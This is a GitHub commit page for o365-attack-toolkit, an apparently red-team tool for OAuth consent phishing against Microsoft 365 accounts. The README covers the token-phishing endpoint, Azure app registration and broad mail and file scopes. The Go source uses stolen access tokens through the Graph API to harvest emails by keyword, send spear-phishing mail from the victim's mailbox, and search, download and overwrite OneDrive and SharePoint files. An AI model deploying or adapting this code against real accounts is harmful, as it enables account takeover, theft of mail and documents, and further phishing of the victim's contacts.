Skip to content

Commit 029ebc7

Browse files
committed
Public release of internal version
0 parents  commit 029ebc7

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

43 files changed

+2137
-0
lines changed

.gitignore

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
.idea/
2+
.DS_Store
3+
.devcontainer/
4+
downloads/*.*
5+
*.exe
6+
vendor/
7+
*pwn*.db

Gopkg.lock

Lines changed: 50 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

Gopkg.toml

Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
# Gopkg.toml example
2+
#
3+
# Refer to https://golang.github.io/dep/docs/Gopkg.toml.html
4+
# for detailed Gopkg.toml documentation.
5+
#
6+
# required = ["github.com/user/thing/cmd/thing"]
7+
# ignored = ["github.com/user/project/pkgX", "bitbucket.org/user/project/pkgA/pkgY"]
8+
#
9+
# [[constraint]]
10+
# name = "github.com/user/project"
11+
# version = "1.0.0"
12+
#
13+
# [[constraint]]
14+
# name = "github.com/user/project2"
15+
# branch = "dev"
16+
# source = "github.com/myfork/project2"
17+
#
18+
# [[override]]
19+
# name = "github.com/x/y"
20+
# version = "2.4.0"
21+
#
22+
# [prune]
23+
# non-go = false
24+
# go-tests = true
25+
# unused-packages = true
26+
27+
28+
[[constraint]]
29+
name = "github.com/gorilla/mux"
30+
version = "1.7.2"
31+
32+
[[constraint]]
33+
name = "github.com/mattn/go-sqlite3"
34+
version = "1.10.0"
35+
36+
[[constraint]]
37+
name = "gopkg.in/gcfg.v1"
38+
version = "1.2.3"
39+
40+
[prune]
41+
go-tests = true
42+
unused-packages = true

README.md

Lines changed: 115 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,115 @@
1+
## What is o365-attack-toolkit
2+
3+
o365-attack-toolkit allows operators to perform oauth phishing attacks.
4+
5+
We decided to move from the old model of static definitions to fully "interactive" with the account in real-time.
6+
7+
### Some of the changes
8+
* Interactive E-mail Search - Allows you to search for user e-mails like you would having full access to it.
9+
* Send e-mails - Allows you to send HTML/TEXT e-mails with attachments from the user mailbox.
10+
* Interactive File Search and Download - Allows you to search for files using specific keywords and download them offline.
11+
* File Replacement - Implemented as a replacement for the macro backdooring functionality.
12+
13+
14+
15+
16+
## Architecture
17+
18+
![](images/Architecture.png)
19+
20+
### The toolkit consists of several components
21+
### Phishing endpoint
22+
The phishing endpoint is responsible for serving the HTML file that performs the OAuth token phishing.
23+
### Backend services
24+
Afterward, the token will be used by the backend services to perform the defined attacks.
25+
### Management interface
26+
The management interface can be utilized to inspect the extracted information from the Microsoft Graph API.
27+
28+
## Features
29+
30+
### Interactive E-mail Search
31+
User e-mails can be accessed by searching for specific keywords using the management interface. The old feature of downloading keyworded e-mails has been discontinued.
32+
33+
### Send E-mails
34+
The new version of this tool allows you to send HTML/TXT e-mails, including attachments to a specific e-mail address from the compromised user. This feature is extremly useful as sending a spear-phishing e-mail from the user is more belivable.
35+
36+
### File Search
37+
Microsoft Graph API can be used to access files across OneDrive, OneDrive for Business and SharePoint document libraries.
38+
User files can be searched and downloaded interactively using the management interface. The old feature of downloading keyworded files has been discontinued.
39+
40+
### Document Replacing
41+
Users document hosted on OneDrive/Sharepoint can be modified by using the Graph API. In the initial version of this toolkit, the last 10 files would be backdoored with a pre-defined macro. This was risky during Red Team operations hence the limited usage. For this reason, we implemented a manual file replacement feature to have more control over the attack.
42+
43+
44+
## How to set up
45+
46+
### Compile
47+
48+
```
49+
cd %GOPATH%
50+
git clone https://github.com/mdsecactivebreach/o365-attack-toolkit
51+
cd o365-attack-toolkit
52+
dep ensure
53+
go build
54+
```
55+
56+
### Configuration
57+
58+
An example configuration as below :
59+
```
60+
[server]
61+
host = 127.0.0.1
62+
externalport = 30662
63+
internalport = 8080
64+
65+
66+
[oauth]
67+
clientid = [REDACTED]
68+
clientsecret = [REDACTED]
69+
scope = "offline_access contacts.read user.read mail.read mail.send files.readWrite.all files.read files.read.all openid profile"
70+
redirecturi = "http://localhost:30662/gettoken"
71+
```
72+
73+
74+
### Deployment
75+
Before start using this toolkit you need to create an Application on the Azure Portal.
76+
Go to Azure Active Directory -> App Registrations -> Register an application.
77+
78+
![](images/registerapp.png)
79+
80+
After creating the application, copy the Application ID in the configuration file.
81+
82+
You need to create a client secret which can be done as shown on the following image:
83+
84+
![](images/clientsecret.png)
85+
86+
Update the client secret on the configuration file.
87+
88+
## Management Interface
89+
90+
The management interface allows the operator to browse the data that has been extracted.
91+
92+
### Users View
93+
94+
![](images/users.png)
95+
96+
### Search User E-mails
97+
98+
![](images/search-emails.png)
99+
100+
101+
### View E-mail
102+
103+
![](images/view-email.png)
104+
105+
### Send E-mail
106+
107+
![](images/send-email.png)
108+
109+
### Search Files
110+
111+
![](images/search-file.png)
112+
113+
### Replace File
114+
115+
![](images/replace-file.png)

api/email.go

Lines changed: 76 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,76 @@
1+
package api
2+
3+
import (
4+
"encoding/json"
5+
"fmt"
6+
"log"
7+
"net/url"
8+
"o365-attack-toolkit/database"
9+
"o365-attack-toolkit/model"
10+
"strings"
11+
)
12+
13+
// SendEmail will send an email using the api
14+
func SendEmail(user model.User, email model.SendEmailStruct) (string, int) {
15+
16+
data, _ := json.Marshal(email)
17+
resp, code := CallAPIMethod("POST", "/me/sendMail", user.AccessToken, "", []byte(data), "application/json")
18+
19+
return resp, code
20+
//log.Printf("E-mail to : %s responded with status code: %d", email.Message.ToRecipients[0].EmailAddress.Address, respcode)
21+
}
22+
23+
func GetEmailById(user model.User, emailID string) model.SingleMail {
24+
25+
additionalParameters := url.Values{}
26+
additionalParameters.Add("select", "receivedDateTime,hasAttachments,importance,subject,sender,bodyPreview,body")
27+
endpoint := fmt.Sprintf("/me/messages/%s?", emailID)
28+
messageResponse, _ := CallAPIMethod("GET", endpoint, user.AccessToken, additionalParameters.Encode(), nil, "")
29+
mail := model.SingleMail{}
30+
json.Unmarshal([]byte(messageResponse), &mail)
31+
return mail
32+
33+
}
34+
35+
func GetKeywordEmails(user model.User, searchKeyword string, insertInDB bool) []model.Mail {
36+
37+
dbMails := []model.Mail{}
38+
39+
//keyWords := strings.Split(searchKeywords, ",")
40+
41+
additionalParameters := url.Values{}
42+
additionalParameters.Add("select", "receivedDateTime,hasAttachments,importance,subject,sender,bodyPreview,body,toRecipients")
43+
additionalParameters.Add("$search", searchKeyword)
44+
45+
messagesResponse, _ := CallAPIMethod("GET", "/me/messages?", user.AccessToken, additionalParameters.Encode(), nil, "")
46+
messages := model.Messages{}
47+
48+
json.Unmarshal([]byte(messagesResponse), &messages)
49+
50+
// Loads the first batch of emails.
51+
for _, message := range messages.Value {
52+
dbMails = append(dbMails, model.Mail{message.ID, user.Mail, message.Subject, message.Sender.EmailAddress.Address, message.Sender.EmailAddress.Name, message.HasAttachments, message.BodyPreview, message.Body.ContentType, message.Body.Content, message.ToRecipients[0].EmailAddress.Address, message.ToRecipients[0].EmailAddress.Name})
53+
}
54+
55+
for messages.OdataNextLink != "" {
56+
endpoint := strings.Replace(messages.OdataNextLink, model.ApiEndpointRoot, "", -1)
57+
//fmt.Println(endpoint)
58+
messagesResponse, _ = CallAPIMethod("GET", endpoint, user.AccessToken, "", nil, "")
59+
60+
messages = model.Messages{}
61+
json.Unmarshal([]byte(messagesResponse), &messages)
62+
// Load next batch of emails
63+
for _, message := range messages.Value {
64+
dbMails = append(dbMails, model.Mail{message.ID, user.Mail, message.Subject, message.Sender.EmailAddress.Address, message.Sender.EmailAddress.Name, message.HasAttachments, message.BodyPreview, message.Body.ContentType, message.Body.Content, message.ToRecipients[0].EmailAddress.Address, message.ToRecipients[0].EmailAddress.Name})
65+
}
66+
}
67+
68+
if insertInDB {
69+
log.Printf("Inserting %d keyworded emails from %s", len(dbMails), user.Mail)
70+
for _, mail := range dbMails {
71+
database.InsertEmail(mail)
72+
}
73+
}
74+
return dbMails
75+
76+
}

api/file.go

Lines changed: 82 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,82 @@
1+
package api
2+
3+
import (
4+
"encoding/json"
5+
"fmt"
6+
"io"
7+
"log"
8+
"net/http"
9+
"o365-attack-toolkit/model"
10+
"os"
11+
"path/filepath"
12+
)
13+
14+
func renameFile(user model.User, id string, filename string) {
15+
16+
endpoint := fmt.Sprintf("/me/drive/items/%s", id)
17+
18+
content := []byte(fmt.Sprintf(`{"name":"%s"}`, filename))
19+
CallAPIMethod("PATCH", endpoint, user.AccessToken, "", content, "application/json")
20+
21+
}
22+
func UpdateFile(user model.User, id string, fileName string, fileContent []byte, fileContentType string) (string, int) {
23+
24+
endpoint := fmt.Sprintf("/me/drive/items/%s/content", id)
25+
26+
// Upload the file
27+
rsp, code := CallAPIMethod("PUT", endpoint, user.AccessToken, "", fileContent, fileContentType)
28+
29+
renameFile(user, id, fileName)
30+
31+
return rsp, code
32+
33+
}
34+
35+
func GetKeywordFiles(user model.User, searchKeyword string, query string) model.Files {
36+
37+
var tempFiles model.Files
38+
endpoint := fmt.Sprintf("/me/drive/root/microsoft.graph.search(q='%s')", searchKeyword)
39+
40+
filesResponse, _ := CallAPIMethod("GET", endpoint, user.AccessToken, query, nil, "")
41+
json.Unmarshal([]byte(filesResponse), &tempFiles)
42+
return tempFiles
43+
}
44+
45+
func LiveDownloadFile(user model.User, fileID string) {
46+
// Download the files
47+
endpoint := fmt.Sprintf("/me/drive/items/%s/", fileID)
48+
driveItemResponse, _ := CallAPIMethod("GET", endpoint, user.AccessToken, "", nil, "")
49+
driveItem := model.DriveItem{}
50+
json.Unmarshal([]byte(driveItemResponse), &driveItem)
51+
log.Printf("Downloading %s", driveItem.Name)
52+
53+
folderDir := fmt.Sprintf("./downloads/%s", user.UserPrincipalName)
54+
if _, err := os.Stat(folderDir); err != nil {
55+
if os.IsNotExist(err) {
56+
// Create the folder
57+
os.Mkdir(folderDir, os.ModePerm)
58+
} else {
59+
log.Println(err)
60+
}
61+
}
62+
// This function is a little bit unsafe because someone can plant files on your computer with the extension they want.
63+
64+
//time := time.Now().Unix
65+
//downFile := fmt.Sprintf("%s/%s_%d",folderDir,filepath.Base(fileName),time)
66+
downFile := fmt.Sprintf("%s/%s", folderDir, filepath.Base(driveItem.Name))
67+
68+
resp, err := http.Get(driveItem.MicrosoftGraphDownloadURL)
69+
if err != nil {
70+
log.Println(err)
71+
}
72+
defer resp.Body.Close()
73+
74+
out, err := os.Create(downFile)
75+
if err != nil {
76+
log.Println(err)
77+
}
78+
defer out.Close()
79+
80+
_, err = io.Copy(out, resp.Body)
81+
82+
}

0 commit comments

Comments
 (0)